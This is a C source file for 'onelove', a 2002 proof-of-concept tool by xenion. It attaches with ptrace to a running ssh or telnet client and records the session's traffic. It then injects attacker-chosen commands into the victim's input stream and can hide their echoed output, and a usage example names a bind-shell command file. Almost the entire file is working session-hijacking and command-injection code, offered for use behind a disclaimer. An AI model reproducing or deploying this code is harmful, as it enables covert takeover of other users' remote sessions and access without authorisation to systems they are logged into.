home *** CD-ROM | disk | FTP | other *** search
- /*
- *
- * $Id: onelove.c,v 0.4 2002/10/03 2:10:27 xenion Exp $
- *
- * ---------------------------------------------------------------------------
- * No part of this project may be used to break the law, or to cause damage of
- * any kind. And I'm not responsible for anything you do with it.
- * ---------------------------------------------------------------------------
- * "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
- * <xenion@acidlife.com> wrote this file. As long as you retain this notice
- * you can do whatever you want with this stuff. If we meet some day, and you
- * think this stuff is worth it, you can buy me a beer in return.
- * xenion ~ Dallachiesa Michele
- * ---------------------------------------------------------------------------
- *
- * This is proof of concept code demostrating how we can inject commands
- * on a ptraced telnet/ssh session.
- *
- * ---------------------------------------------------------------------------
- *
- *
- * EXAMPLES
- *
- * ./onelove -p2418 -0 -c _boxinfo -l l0g -+ -e
- *
- * attach pid 2418,
- * enable ssh fd(s),
- * use _boxinfo for commands,
- * log to file,
- * log to stdout (without -l ignored),
- * enable echo hiding.
- *
- * ./onelove -p3953 -1 -c _bindshell -e
- *
- * attach pid 3953,
- * enable telnet fd(s),
- * use _bindshell for commands,
- * enable echo hiding.
- *
- *
- * LENGTH OF read(2) BUFFERS, MIGHT HELP SOMETIMES:
- *
- * ssh : 16384
- * telnet: 8192
- * BitchX: 2048
- *
- *
- * GREETZ
- *
- * Dark-Angel, my friends.. you know who you are.
- *
- */
-
-
- #include <stdlib.h>
- #include <string.h>
- #include <stdarg.h>
- #include <unistd.h>
- #include <stdio.h>
- #include <sys/ptrace.h>
- #include <sys/types.h>
- #include <sys/wait.h>
- #include <linux/user.h>
- #include <signal.h>
- #include <asm/unistd.h>
- #include <dirent.h>
- #include <errno.h>
- #include <limits.h>
- #include <time.h>
- #include <sys/stat.h>
-
-
- #define WORD_SIZE 4
- #define BUFLEN 4096
- #define CMDLEN 4096
- #define VERSION "0.4"
-
- /*
- * PTRACE states
- */
- #define PTRACE_NOT_ATTACHED 0 /* not yet attached */
- #define PTRACE_STOP1 1 /* first stop */
- #define PTRACE_STOP2 2 /* second stop */
- #define PTRACE_DONE 3 /* we've finished our work */
-
- /*
- * INJECT states
- */
- #define INJECT_NOTH 0 /* nothing to do, just do nothing */
- #define INJECT_TODO 1 /* we've to inject our commands */
- #define INJECT_HIDE 2 /* now we've to hide the output */
-
- /*
- * ssh/telnet fd(s)
- */
- #define READ_FD_SSH 4
- #define WRITE_FD_SSH 5
- #define READ_FD_TELNET 0
- #define WRITE_FD_TELNET 1
-
- #define LOG(arg...) { \
- fprintf(o.log, "## "); \
- fprintf(o.log, ## arg); \
- fflush(o.log); \
- if(o.stdout) { \
- fprintf(stdout, "## "); \
- fprintf(stdout, ## arg); \
- fflush(stdout); \
- } \
- }
-
- #define LOG_WRITE(arg...) { \
- fwrite(## arg, o.log); \
- fflush(o.log); \
- if(o.stdout) { \
- fwrite(## arg, stdout); \
- fflush(stdout); \
- } \
- }
-
-
- // 'x' viene approssimato per eccesso ad un multiplo di 'y'
- #define COUNT_OK(x, y) (##x % ##y != 0 ? ##x+(##y - (##x % ##y)) : ##x)
-
- // 'x' viene approssimato per difetto ad un multiplo di 'y'
- #define LEN_OK(x, y) (##x-(##x % ##y))
-
- #define IS_SYSCALL_AND_FD(x) \
- (data.orig_eax == __NR_##x && data.ebx == o.fd_##x)
-
- #define SIG_NAME(x) x == SIGURG ? "SIGURG" : \
- x == SIGPIPE ? "SIGPIPE" : \
- x == SIGQUIT ? "SIGQUIT" : \
- x == SIGINT ? "SIGINT" : \
- x == SIGTERM ? "SIGTERM" : \
- x == SIGHUP ? "SIGHUP" : \
- x == SIGSEGV ? "SIGSEGV" : \
- x == SIGBUS ? "SIGBUS" : "UNKNOWN"
-
- #define FD_SSH_OR_TELNET o.fd_read == READ_FD_SSH ? \
- (o.fd_write == WRITE_FD_SSH ? \
- "(ssh)" : "") : \
- o.fd_read == READ_FD_TELNET ? \
- (o.fd_write == WRITE_FD_TELNET ? \
- "(telnet)" : "") : ""
-
-
- void fatal(char *, ...);
- void init_opt(int, char **);
- void help();
- void sigdie(int);
- int memread(pid_t, unsigned char *, unsigned char *, long,
- long);
- int memwrite(pid_t, unsigned char *, unsigned char *, long,
- long);
- int dataonstdin();
- unsigned char *memem(unsigned char *, unsigned char *, size_t, size_t);
-
-
- typedef struct {
- pid_t pid;
- int status,
- mode,
- inject,
- echo,
- cmdlen,
- fd_read,
- fd_write,
- stdout;
- unsigned char cmd[CMDLEN];
- FILE *log;
- } OPT;
-
-
- OPT o;
-
-
- int
- main(int argc, char **argv)
- {
- struct user_regs_struct data;
- unsigned char buf[BUFLEN];
- int z;
- long edx_write_backup;
-
- o.mode = PTRACE_NOT_ATTACHED;
-
- init_opt(argc, argv);
-
- LOG("pid : %d\n", getpid());
- LOG("ptraced pid : %d\n", o.pid);
- LOG("echo : %s\n", o.echo ? "YES" : "NO");
- LOG("fds : r:%d,w:%d %s\n", o.fd_read, o.fd_write,
- FD_SSH_OR_TELNET);
- LOG("\n");
-
- signal(SIGTERM, sigdie);
- signal(SIGINT, sigdie);
- signal(SIGQUIT, sigdie);
- signal(SIGHUP, sigdie);
- signal(SIGSEGV, sigdie);
- signal(SIGURG, SIG_IGN);
-
- if (ptrace(PTRACE_ATTACH, o.pid, 0, 0) < 0)
- fatal("ptrace(PTRACE_ATTACH, ...) failed");
-
- LOG("Attached! Now I'll display the session I/O. When you're\n");
- LOG("sure the user can run commands, press ENTER and wait.\n");
- LOG("\n");
-
- o.mode = PTRACE_STOP1;
- o.inject = INJECT_NOTH;
-
- wait(NULL);
-
- while (o.mode != PTRACE_DONE) {
-
- if (ptrace(PTRACE_SYSCALL, o.pid, 0, 0) < 0)
- fatal("ptrace(PTRACE_SYSCALL ...) failed");
-
- wait(&o.status);
-
- if (WSTOPSIG(o.status) != SIGTRAP) {
- LOG("Sending signal %d\n", WSTOPSIG(o.status));
- ptrace(PTRACE_SYSCALL, o.pid, 0, WSTOPSIG(o.status));
- }
-
- if (ptrace(PTRACE_GETREGS, o.pid, 0, &data) < 0)
- fatal("ptrace(PTRACE_GETREGS ...) failed");
-
- switch (o.mode) {
-
- case PTRACE_STOP1:
-
- if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) {
- z = memread(o.pid, buf, (unsigned char *) data.ecx,
- data.edx, sizeof buf);
-
- edx_write_backup = data.edx;
- data.edx = 0;
-
- if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
- fatal("ptrace(PTRACE_SETREGS ...) failed");
-
- if (z < 0) {
- LOG("\n*** WARNING(0): memread() failed (%ld bytes to read) ***\n", edx_write_backup);
- } else
- LOG_WRITE(buf, 1, data.edx);
- }
-
- o.mode = PTRACE_STOP2;
- break;
-
- case PTRACE_STOP2:
-
- if (dataonstdin()) {
- read(0, buf, sizeof buf);
-
- if (*buf == 'q')
- fatal("Aborted");
-
- if (o.inject == INJECT_NOTH) {
- o.inject = INJECT_TODO;
- LOG("\n");
- LOG("I'll wait for a read(2) buffer ending with \\r or \\n,\n");
- LOG("where I'll inject the commands..\n");
- LOG("\n");
- }
-
- if (o.inject == INJECT_HIDE) {
- LOG("Done, exiting..\n");
- o.inject = INJECT_NOTH;
- o.mode = PTRACE_DONE;
- LOG("\n");
- LOG("Done.\n");
- break;
- }
- }
-
- if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) {
- /*
- * restoring the count of bytes to send
- */
- data.eax = edx_write_backup;
- if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
- fatal("ptrace(PTRACE_SETREGS ...) failed");
- }
-
- if (IS_SYSCALL_AND_FD(write) || IS_SYSCALL_AND_FD(read)) {
- z = memread(o.pid, buf, (unsigned char *) data.ecx,
- data.eax, sizeof buf);
-
- if (z < 0) {
- LOG("\n*** WARNING(1): memread() failed (%ld bytes to read) ***\n", data.eax);
- o.mode = PTRACE_STOP1;
- break;
- }
-
- LOG_WRITE(buf, 1, data.eax);
-
- if (o.inject == INJECT_TODO && IS_SYSCALL_AND_FD(read)) {
-
- if (buf[data.eax - 1] == '\r'
- || buf[data.eax - 1] == '\n') {
-
- LOG("Injecting commands\n");
-
- z = memwrite(o.pid,
- (unsigned char *) (data.ecx +
- data.eax), o.cmd,
- o.cmdlen, sizeof o.cmd);
- if (z < 0)
- fatal("memwrite( ...) failed");
-
- data.eax += o.cmdlen;
-
- if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
- fatal("ptrace(PTRACE_SETREGS ...) failed");
-
- if (!o.echo) {
- LOG("Done.\n");
- o.mode = PTRACE_DONE;
- break;
- } else {
- o.inject = INJECT_HIDE;
- LOG("Done.\n");
- LOG("I'll hide all write(2)s untill you press ENTER\n");
- LOG("\n");
-
- }
- }
- }
- }
-
- o.mode = PTRACE_STOP1;
- break;
-
- default:
- fatal("Oops");
- break;
- }
- }
-
- LOG("Detaching process\n");
- if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0) {
- LOG("ptrace(PTRACE_DETACH ...) failed\n");
- } else
- LOG("Ok, you're safe this time ;)\n\n");
- return 0;
- }
-
-
- void
- init_opt(int argc, char **argv)
- {
- int c;
- FILE *f;
-
- o.echo = 0;
- o.pid = 0;
- o.fd_read = o.fd_write = -1;
- o.cmdlen = -1;
- o.log = stdout;
- o.stdout = 0;
-
- while ((c = getopt(argc, argv, "p:r:w:01c:l:+eh")) != EOF)
- switch (c) {
-
- case 'p':
- o.pid = atoi(optarg);
- break;
-
- case 'r':
- o.fd_read = atoi(optarg);
- break;
-
- case 'w':
- o.fd_write = atoi(optarg);
- break;
-
- case '0':
- o.fd_read = READ_FD_SSH;
- o.fd_write = WRITE_FD_SSH;
- break;
-
- case '1':
- o.fd_read = READ_FD_TELNET;
- o.fd_write = WRITE_FD_TELNET;
- break;
-
- case 'l':
- o.log = fopen(optarg, "a+");
- if (o.log == NULL)
- fatal("unable to open log file");
- break;
-
- case '+':
- o.stdout = 1;
- break;
-
- case 'c':
- f = fopen(optarg, "r");
- if (f == NULL)
- fatal("unable to open cmd file");
- o.cmdlen = fread(o.cmd, 1, sizeof o.cmd, f);
- if (o.cmdlen == sizeof o.cmd || o.cmdlen == 0)
- fatal("cmdfile broken");
- fclose(f);
- break;
-
- case 'e':
- o.echo = 1;
- break;
-
- case 'h':
- help();
- break;
-
- default:
- fatal("try -h");
- }
-
- if (o.pid == 0)
- fatal("pid needed");
-
- if (o.fd_read == -1 || o.fd_write == -1)
- fatal("r/w fd(s) needed");
-
- switch (o.cmdlen) {
- case -1:
- fatal("cmd file needed");
- case 0:
- fatal("cmd file broken");
- }
-
- if (o.log == stdout)
- o.stdout = 0;
-
- }
-
-
- void
- fatal(char *pattern, ...)
- {
- va_list ap;
-
- va_start(ap, pattern);
- fprintf(o.log, "** ");
- vfprintf(o.log, pattern, ap);
- fprintf(o.log, "; exit forced.\n");
- va_end(ap);
-
- if (o.pid == 0) {
- fclose(o.log);
- exit(1);
- }
-
- sigdie(SIGTERM);
- }
-
-
-
- void
- help()
- {
- printf
- ("onelove v%s by xenion - Injects commands on a ptraced telnet/ssh session\n\n",
- VERSION);
- printf("USAGE: onelove [options]\n\n");
- printf("-p pid (ssh|telnet) pid\n");
- printf
- ("-0 default fd(s) for ssh (r:%d,w:%d)\n",
- READ_FD_SSH, WRITE_FD_SSH);
- printf
- ("-1 default fd(s) for telnet (r:%d,w:%d)\n",
- READ_FD_TELNET, WRITE_FD_TELNET);
- printf("-r fd read(2) fd\n");
- printf("-w fd write(2) fd\n");
- printf("-c file cmdfile\n");
- printf("-l file logfile\n");
- printf
- ("-+ log to stdout (without -l ignored)\n");
- printf("-e enable echo hiding\n\n");
-
- exit(0);
- }
-
-
- void
- sigdie(int signo)
- {
- int pid;
-
- LOG("caught %s signal (%d), cleaning up\n", SIG_NAME(signo), signo);
-
- if (o.mode != PTRACE_NOT_ATTACHED) {
-
- switch (pid = fork()) {
-
- case -1:
- fatal("fork()");
- break;
-
- case 0: /* child process starts */
- LOG("Sending a SIGCONT signal to the ptraced process\n");
- if (kill(o.pid, SIGCONT) < 0) {
- o.pid = 0;
- fatal("kill()");
- }
- break;
-
- default: /* parent process starts */
- wait(&o.status);
- if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0)
- LOG("ptrace(PTRACE_DETACH ...) failed\n");
- LOG("exited: %s\n", strerror(errno));
- break;
-
- }
-
- }
-
- fclose(o.log);
- exit(0);
- }
-
-
- int
- memread(pid_t pid, unsigned char *dest, unsigned char *src, long count,
- long len)
- {
- long off;
- long res;
-
- if (count < 0 || len < 0)
- return (-1);
-
- count = COUNT_OK(count, WORD_SIZE);
- len = LEN_OK(len, WORD_SIZE);
-
- if (len < count)
- return -1;
-
- for (off = 0; off < count; off += WORD_SIZE) {
- res = ptrace(PTRACE_PEEKTEXT, pid, src + off, 0);
- if (errno > 0)
- return -1;
- else
- memcpy(dest + off, &res, WORD_SIZE);
- }
-
- return count;
- }
-
-
- int
- memwrite(pid_t pid, unsigned char *dest, unsigned char *src, long count,
- long len)
- {
- long off;
- long res;
-
- if (count < 0 || len < 0)
- return (-1);
-
- count = COUNT_OK(count, WORD_SIZE);
- len = LEN_OK(len, WORD_SIZE);
-
- if (len < count)
- return -1;
-
- for (off = 0; off < count; off += WORD_SIZE) {
- memcpy(&res, src + off, WORD_SIZE);
- if (ptrace(PTRACE_POKETEXT, pid, dest + off, res) < 0)
- return -1;
- }
-
- return count;
- }
-
-
- int
- dataonstdin()
- {
- fd_set rfds;
- struct timeval tv;
- int retval;
-
- FD_ZERO(&rfds);
- FD_SET(0, &rfds);
- tv.tv_sec = tv.tv_usec = 0;
-
- retval = select(1, &rfds, NULL, NULL, &tv);
-
- if (retval)
- return 1;
- else
- return 0;
- }
-
- unsigned char *
- memem(unsigned char *buf0, unsigned char *buf1, size_t len0, size_t len1)
- {
- size_t i,
- j;
- int found;
-
- if (len1 > len0)
- return NULL;
-
- for (i = 0; i < len0; ++i) {
- if (buf0[i] == buf1[0]) {
- found = 1;
- for (j = 1; j + i < len0 && j < len1; ++j)
- if (buf0[i + j] != buf1[j])
- found = 0;
- if (found)
- return &buf0[i];
- }
- }
-
- return (NULL);
- }
-
- /*
- * EOF
- */
-
-